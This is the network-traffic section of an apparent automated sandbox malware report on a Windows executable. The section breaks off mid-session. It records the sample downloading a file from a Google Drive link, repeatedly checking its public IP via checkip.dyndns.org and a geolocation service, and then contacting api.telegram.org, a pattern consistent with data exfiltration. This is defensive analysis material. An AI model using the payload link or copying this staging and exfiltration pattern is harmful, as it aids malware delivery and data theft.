Oct 28, 2024 12:22:42.568250895 CET	49746	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:42.568325043 CET	443	49746	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:42.712872028 CET	443	49746	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:42.712917089 CET	443	49746	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:42.712996006 CET	49746	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:42.713599920 CET	49746	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:42.718739986 CET	49745	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:42.719923973 CET	49747	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:42.724594116 CET	80	49745	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:42.724689960 CET	49745	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:42.725347042 CET	80	49747	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:42.725553036 CET	49747	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:42.725653887 CET	49747	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:42.730976105 CET	80	49747	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:43.631901026 CET	80	49747	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:43.633533001 CET	49749	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:43.633584023 CET	443	49749	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:43.633663893 CET	49749	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:43.633965015 CET	49749	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:43.633985043 CET	443	49749	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:43.684642076 CET	49747	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:44.233767033 CET	443	49749	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:44.235999107 CET	49749	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:44.236049891 CET	443	49749	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:44.374931097 CET	443	49749	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:44.375011921 CET	443	49749	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:44.375082970 CET	49749	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:44.375632048 CET	49749	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:44.393870115 CET	49747	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:44.397188902 CET	49750	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:44.400731087 CET	80	49747	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:44.400927067 CET	49747	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:44.402673006 CET	80	49750	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:44.402965069 CET	49750	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:44.403075933 CET	49750	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:44.408482075 CET	80	49750	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:45.273511887 CET	80	49750	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:45.275587082 CET	49751	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:45.275629997 CET	443	49751	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:45.275727987 CET	49751	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:45.276041031 CET	49751	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:45.276060104 CET	443	49751	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:45.325373888 CET	49750	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:45.961602926 CET	443	49751	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:45.963660955 CET	49751	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:45.963689089 CET	443	49751	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:46.105449915 CET	443	49751	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:46.105508089 CET	443	49751	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:46.105580091 CET	49751	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:46.106178999 CET	49751	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:46.110472918 CET	49750	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:46.111834049 CET	49753	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:46.116707087 CET	80	49750	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:46.116770983 CET	49750	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:46.117172003 CET	80	49753	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:46.117294073 CET	49753	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:46.117404938 CET	49753	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:46.122723103 CET	80	49753	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:47.209151983 CET	80	49753	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:47.210674047 CET	49754	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:47.210707903 CET	443	49754	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:47.210783005 CET	49754	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:47.211055040 CET	49754	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:47.211066961 CET	443	49754	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:47.252171040 CET	80	49753	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:47.254367113 CET	49753	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:47.817466021 CET	443	49754	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:47.819082022 CET	49754	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:47.819114923 CET	443	49754	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:47.959702015 CET	443	49754	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:47.959774971 CET	443	49754	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:47.959956884 CET	49754	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:47.960335970 CET	49754	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:47.964381933 CET	49753	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:47.965512991 CET	49760	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:47.970365047 CET	80	49753	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:47.970438004 CET	49753	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:47.970976114 CET	80	49760	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:47.971112967 CET	49760	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:47.971232891 CET	49760	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:47.976625919 CET	80	49760	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:48.838175058 CET	80	49760	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:48.841941118 CET	49766	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:48.842036963 CET	443	49766	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:48.842180014 CET	49766	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:48.842447996 CET	49766	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:48.842477083 CET	443	49766	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:48.887737989 CET	49760	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:49.470417976 CET	443	49766	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:49.528364897 CET	49766	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:49.545447111 CET	49766	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:49.545475960 CET	443	49766	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:49.694634914 CET	443	49766	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:49.694924116 CET	443	49766	188.114.97.3	192.168.2.4
Oct 28, 2024 12:22:49.695468903 CET	49766	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:49.695751905 CET	49766	443	192.168.2.4	188.114.97.3
Oct 28, 2024 12:22:49.726192951 CET	49760	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:49.731884003 CET	80	49760	132.226.247.73	192.168.2.4
Oct 28, 2024 12:22:49.732058048 CET	49760	80	192.168.2.4	132.226.247.73
Oct 28, 2024 12:22:49.734162092 CET	49772	443	192.168.2.4	149.154.167.220
Oct 28, 2024 12:22:49.734198093 CET	443	49772	149.154.167.220	192.168.2.4
Oct 28, 2024 12:22:49.734285116 CET	49772	443	192.168.2.4	149.154.167.220
Oct 28, 2024 12:22:49.734688997 CET	49772	443	192.168.2.4	149.154.167.220
Oct 28, 2024 12:22:49.734703064 CET	443	49772	149.154.167.220	192.168.2.4
Oct 28, 2024 12:22:50.604964018 CET	443	49772	149.154.167.220	192.168.2.4
Oct 28, 2024 12:22:50.605063915 CET	49772	443	192.168.2.4	149.154.167.220
Oct 28, 2024 12:22:50.607283115 CET	49772	443	192.168.2.4	149.154.167.220
Oct 28, 2024 12:22:50.607300043 CET	443	49772	149.154.167.220	192.168.2.4
Oct 28, 2024 12:22:50.607709885 CET	443	49772	149.154.167.220	192.168.2.4
Oct 28, 2024 12:22:50.609117985 CET	49772	443	192.168.2.4	149.154.167.220
Oct 28, 2024 12:22:50.651330948 CET	443	49772	149.154.167.220	192.168.2.4
Oct 28, 2024 12:22:50.848736048 CET	443	49772	149.154.167.220	192.168.2.4
Oct 28, 2024 12:22:50.848884106 CET	443	49772	149.154.167.220	192.168.2.4
Oct 28, 2024 12:22:50.849001884 CET	49772	443	192.168.2.4	149.154.167.220
Oct 28, 2024 12:22:50.854007006 CET	49772	443	192.168.2.4	149.154.167.220
Oct 28, 2024 12:22:56.734488964 CET	49741	80	192.168.2.4	132.226.247.73

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 12:22:27.338768005 CET	63003	53	192.168.2.4	1.1.1.1
Oct 28, 2024 12:22:27.346687078 CET	53	63003	1.1.1.1	192.168.2.4
Oct 28, 2024 12:22:28.743974924 CET	50394	53	192.168.2.4	1.1.1.1
Oct 28, 2024 12:22:28.751856089 CET	53	50394	1.1.1.1	192.168.2.4
Oct 28, 2024 12:22:33.792751074 CET	58327	53	192.168.2.4	1.1.1.1
Oct 28, 2024 12:22:33.800307035 CET	53	58327	1.1.1.1	192.168.2.4
Oct 28, 2024 12:22:35.370729923 CET	57674	53	192.168.2.4	1.1.1.1
Oct 28, 2024 12:22:35.379466057 CET	53	57674	1.1.1.1	192.168.2.4
Oct 28, 2024 12:22:49.726098061 CET	57595	53	192.168.2.4	1.1.1.1
Oct 28, 2024 12:22:49.733338118 CET	53	57595	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 28, 2024 12:22:27.338768005 CET	192.168.2.4	1.1.1.1	0x2e92	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 12:22:28.743974924 CET	192.168.2.4	1.1.1.1	0xa62	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 12:22:33.792751074 CET	192.168.2.4	1.1.1.1	0x3e4f	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 28, 2024 12:22:35.370729923 CET	192.168.2.4	1.1.1.1	0x9e4d	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 28, 2024 12:22:49.726098061 CET	192.168.2.4	1.1.1.1	0x6e44	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 12:22:27.346687078 CET	1.1.1.1	192.168.2.4	0x2e92	No error (0)	drive.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 28, 2024 12:22:28.751856089 CET	1.1.1.1	192.168.2.4	0xa62	No error (0)	drive.usercontent.google.com		142.250.186.65	A (IP address)	IN (0x0001)	false
Oct 28, 2024 12:22:33.800307035 CET	1.1.1.1	192.168.2.4	0x3e4f	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 12:22:33.800307035 CET	1.1.1.1	192.168.2.4	0x3e4f	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 28, 2024 12:22:33.800307035 CET	1.1.1.1	192.168.2.4	0x3e4f	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 28, 2024 12:22:33.800307035 CET	1.1.1.1	192.168.2.4	0x3e4f	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 28, 2024 12:22:33.800307035 CET	1.1.1.1	192.168.2.4	0x3e4f	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 28, 2024 12:22:33.800307035 CET	1.1.1.1	192.168.2.4	0x3e4f	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 28, 2024 12:22:35.379466057 CET	1.1.1.1	192.168.2.4	0x9e4d	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 12:22:35.379466057 CET	1.1.1.1	192.168.2.4	0x9e4d	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 12:22:49.733338118 CET	1.1.1.1	192.168.2.4	0x6e44	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49738	132.226.247.73	80	1440	C:\Users\user\Desktop\Fa24c148.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 12:22:33.811286926 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 28, 2024 12:22:34.677573919 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 11:22:34 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4b80f40d3b3494b467f7f46cb520baa7 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.188</body></html>
Oct 28, 2024 12:22:34.683379889 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 28, 2024 12:22:34.945449114 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 11:22:34 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ad0c8ff668781f41a74f11e47eb088a1 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.188</body></html>
Oct 28, 2024 12:22:36.506874084 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 28, 2024 12:22:36.769855022 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 11:22:36 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f5a88d71f6476a61d86c6b1739e964df Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.188</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49741	132.226.247.73	80	1440	C:\Users\user\Desktop\Fa24c148.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 12:22:37.546799898 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 28, 2024 12:22:38.419373989 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 11:22:38 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9daf87bce38525829446596bf1d55e42 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.188</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49743	132.226.247.73	80	1440	C:\Users\user\Desktop\Fa24c148.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 12:22:39.205363989 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 28, 2024 12:22:40.089992046 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 11:22:39 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e1eeae3d03b9da753a53bf485221f68d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.188</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49745	132.226.247.73	80	1440	C:\Users\user\Desktop\Fa24c148.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 12:22:41.081641912 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 28, 2024 12:22:41.946176052 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 11:22:41 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 951d8fa83027a50204bbea0498e951e8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.188</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49747	132.226.247.73	80	1440	C:\Users\user\Desktop\Fa24c148.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 12:22:42.725653887 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 28, 2024 12:22:43.631901026 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 11:22:43 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d3d46bf8c27f42aa5b5b632b950c3d62 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.188</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49750	132.226.247.73	80	1440	C:\Users\user\Desktop\Fa24c148.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 12:22:44.403075933 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 28, 2024 12:22:45.273511887 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 11:22:45 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1363f4346c9714c61485f3c7634981db Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.188</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49753	132.226.247.73	80	1440	C:\Users\user\Desktop\Fa24c148.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 12:22:46.117404938 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 28, 2024 12:22:47.209151983 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 11:22:46 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 04db32d7af3f4445d1f1e69dccb32a15 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.188</body></html>
Oct 28, 2024 12:22:47.252171040 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 11:22:46 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 04db32d7af3f4445d1f1e69dccb32a15 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.188</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49760	132.226.247.73	80	1440	C:\Users\user\Desktop\Fa24c148.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 12:22:47.971232891 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 28, 2024 12:22:48.838175058 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 11:22:48 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 95f4d2aee2592ff8891bc0ff29780874 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.188</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	142.250.185.206	443	1440	C:\Users\user\Desktop\Fa24c148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 11:22:28 UTC	216	OUT	GET /uc?export=download&id=1BxjUpVo1l3Tc98y3lq5MzBCE4rW1Evm6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2024-10-28 11:22:28 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 28 Oct 2024 11:22:28 GMT Location: https://drive.usercontent.google.com/download?id=1BxjUpVo1l3Tc98y3lq5MzBCE4rW1Evm6&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-zVBkfH63nyw31ybQORX5LQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin 